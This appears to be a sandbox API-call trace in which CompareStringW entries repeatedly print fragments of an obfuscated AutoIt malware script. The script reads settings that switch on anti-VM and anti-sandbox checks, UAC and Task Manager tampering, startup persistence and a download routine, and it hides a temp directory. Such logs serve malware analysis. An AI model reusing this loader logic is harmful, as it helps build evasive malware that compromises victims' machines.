\"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExi", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExis", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExist", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If 